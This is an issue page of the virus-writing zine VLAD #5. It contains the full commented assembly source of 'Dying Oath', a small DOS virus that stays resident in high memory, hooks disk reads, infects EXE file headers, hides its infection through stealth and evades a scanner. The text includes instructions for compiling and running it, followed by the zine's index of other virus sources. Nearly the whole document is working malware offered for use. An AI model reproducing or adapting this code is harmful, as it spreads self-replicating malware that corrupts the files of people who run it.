Virus Labs & Distribution
VLAD #5 - Dying Oath


;                   d y i n g . o a t h . b y . r e t r o
;                                265 bytes 
;
;  This is a EXE header virus that goes resident in the HMA, when i13 is
; hooked the vector isnt changed, but the address of the original i13
; (stored on bootup) is changed and that gets called instead.
;  On the first run it will install itself, build a parameter block then
; re-execute the file. Now, because the virus is resident the file will be
; cleaned upon execution. The virus will then get the errorlevel returned
; and exit with the errorlevel...
;  Removing this virus from an EXE file is easy: boot from a clean disk then
; replace the EB at the start of the EXE file with a 'M'...its that easy!
;
; Note: When this file is compiled (with a86) it will look exactly like an
; already infected file. Just rename the BIN to a EXE and run the file. The
; file should say 'VIRUS!#@' when executed.
;  The virus scans under one flag (the 'N' flag) when not resident, when
; the virus is resident it is full stealth so there are no flags.
        org     0
Start:
        jmp     short AfterHeader       ;Jump to our code.

LastPageSize    dw      0030h           ;this is all the header shit...
FileSizeInPages dw      0002h
NumberOfEntries dw      0000h                                             
SizeOfHeader    dw      0020h
MinimumMemParas dw      0000h
MaximumMemParas dw      0FFFFh
InitialSS       dw      0002h
InitialSP       dw      0010h
NegativeChksum  dw      0F9A1h
InitialIP       dw      0000h
InitialCS       dw      0000h
OffsOfRelocTbl  dw      001Eh
OverlayNumber   dw      0000h
                dw      0001h
                db      3Eh dup (0)     ;fill up the space with zeros
AfterHeader:
        mov     ah,0Dh                  ;flush disk buffers
        int     21h

        mov     ax,4A02h                ;allocate some memory from HMA
        mov     bx,offset EndOfVirus
        int     2Fh

        inc     di                      ;DI = FFFFh if no HMA
        jnz     NoWorries
        mov     al,1                    ;if error we cant execute old file..
        jmp     ExitWithErrorlevel      ;..so just exit with errorlevel=1
NoWorries:
        dec     di                      ;set di back to how it was
        mov     [NewOffs+100h],di

        ; The above line is needed because when you allocate HMA the pointer
        ;to the allocated block is never the same...so its sorta like getting
        ;the offset at the start of a COM virus
        
        push    di                      ;save di for later

        mov     si,100h                 ;start copying from 100h
        mov     cx,offset EndOfVirus
        rep movsb                       ;copy the virus up

        pop     di                      ;restore di

        mov     ax,70h
        mov     ds,ax
        mov     si,0B4h
        add     di,offset OldInt
        movsw
        movsw
        mov     [si-4],di
        mov     [si-2],es

        ; The original i13 is stored at 0070:00B4 and it has been there since
        ;dos 3.3, so qark & kd inform me. The handler is straight after the
        ;storage area for the old i13, so we save some code there

        push    cs                      ;cs=ds
        pop     ds
        mov     es,[2Ch]                ;set ES = segment of the environment
        xor     di,di                   ;zero di
        mov     ax,di                   ;put zero in ax aswell
        cld                             ;we want to go left-right in mem
        inc     di      
Search:                         
        dec     di                      ;this just searches for two zeros
        scasw
        jne     Search
        scasw                           ;Filename = the two zeros + a word

        push    es
        push    cs
        pop     es
        pop     ds

        mov     ah,4Ah                          ;resize mem block
        mov     bx,(offset EndOfVirus+10Fh)/10h
        int     21h
        shl     bx,4
        mov     sp,bx                           ;set sp at end of our mem


        push    ds                      ;save the pointers
        push    di

        ; Now we have to set up a parameter block coz we are going to execute
        ;the file so it will be cleaned on read...

        push    cs
        pop     ds

        mov     cx,3
        mov     si,offset ParameterTable+100h
        mov     bx,offset ParameterBlock+100h
        lea     di,[bx+2]
MakeParameterBlock:
        movsb
        scasb
        mov     ax,cs
        stosw
        loop    MakeParameterBlock

        pop     dx                              ;DS:DX=ES:DI=offset of fname
        pop     ds

        mov     ax,4B00h
        int     21h

        mov     ah,4Dh                          ;get the errorlevel returned
        int     21h
ExitWithErrorLevel:
        mov     ah,4Ch                          ;go and exit with it
        int     21h
        db      '[Dying_Oath] by Retro'

ParameterTable  db      80h,5Ch,6Ch
;.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.xXx.
Exit:
        db      0EAh                            ;opcode of JMP ssss:oooo
OldInt  dd      0

Handler:
        cmp     ah,2                            ;disk read ?
        jne     Exit

        push    si                              ;save that SI!

        ; We need the MOV SI,xxxx becoz we aint never in the same part of mem
        db      0BEh
NewOffs dw      0

        pushf                                   ;call the old i13
        call    dword ptr cs:[si+OldInt]
        jc      ReturnFar                       ;if carry, bail out

        push    ds                              ;save some registers
        pusha
        pushf

        push    cs                              ;cs=ds
        pop     ds

        mov     ax,es:[bx]                      ;check out the first 2 bytes
        xor     ax,'ZM'                         ;anti-TBSCAN code!
        je      Infect                          
ShouldStealth:
        cmp     byte ptr es:[bx],0EBh           ;see if already infected
        jne     PopAllReturnFlags
        cmp     word ptr es:[bx+AfterHeader],0DB4h
        je      StealthIt
        jmp     PopAllReturnFlags
Infect:
        cmp     word ptr es:[bx+4],65024/512    ;make sure file aint to big
        ja      PopAllReturnFlags

        cld
        add     si,offset AfterHeader
        lea     di,[bx+AfterHeader]
        xor     ax,ax
        mov     cx,offset EndOfVirus-offset AfterHeader
        
        pusha
        rep scasb                               ;make sure there is space
        popa
        jne     PopAllReturnFlags
        ;DontMoveVirusIn                 ;if there aint, well erm...

        rep movsb                               ;move the virus in!

        mov     byte ptr es:[bx],0EBh           ;put the jump in
DontMoveVirusIn:
        popf                                    ;get the original registers
        popa
        pusha
        pushf

        mov     ax,301h
        pushf                                   ;rewrite the sectors
        call    dword ptr [si+OldInt]
StealthIt:
        mov     byte ptr es:[bx],'M'            ;put the 'M' back

        ; Now we fill the space that our virus sits in with zeros...
        lea     di,[bx+AfterHeader]
        xor     ax,ax
        mov     cx,offset EndOfVirus-offset AfterHeader
        rep stosb
PopAllReturnFlags:
        popf                                    ;restore flags
PopAllReturn:
        popa                                    ;restore some registers
        pop     ds
ReturnFar:
        pop     si                              ;restore si
        retf    2                               ;iret but dont change flags
ParameterBlock:
        db      0Bh dup (0)                     ;leave room for the params
EndOfVirus:

; the rest of this shit is the original file sorta, it just sez 'VIRUS!#@'

        org     200h
        push    cs                              ;original file starts at 200h
        pop     ds                              ;cs=ds
        mov     dx,0Eh
        mov     ah,9                            ;display our funkee text
        int     21h
        mov     ax,4C00h                        ;and exit
        int     21h
        db      'VIRUS!#@$'
        db      19h dup 0                       ;this is the stack...

        
- VLAD #5 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

AIH
ARTICLE.2_2       Neuroquila disasm
ARTICLE.2_3       Uruguay#3 disasm
ARTICLE.2_4       Immortal Riot
ARTICLE.2_5       Fog.doc
ARTICLE.2_6       Fog.asm
ARTICLE.2_7       AP-Poly

ARTICLE.3_1      

Dying Oath
ARTICLE.3_2       Win API tutorial
ARTICLE.3_3       Poly primer
ARTICLE.3_4       NoMut v0.01
ARTICLE.3_5       Demon3b
ARTICLE.3_6       SDFEe20 source
ARTICLE.3_7       ZL 2.0 source

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Horsa
ARTICLE.4_3       Ph33r
ARTICLE.4_4       Wintiny
ARTICLE.4_5       Midnight
ARTICLE.4_6       Arme Stoevlar
ARTICLE.4_7       Small Virus

ARTICLE.5_1      

Alive
ARTICLE.5_2       Winlamer2
ARTICLE.5_3       Lady Death
ARTICLE.5_4       H8urNMEs
ARTICLE.5_5       Sepboot
ARTICLE.5_6       Fame
ARTICLE.5_7       Int Patch

About VLAD - Links - Contact Us - Main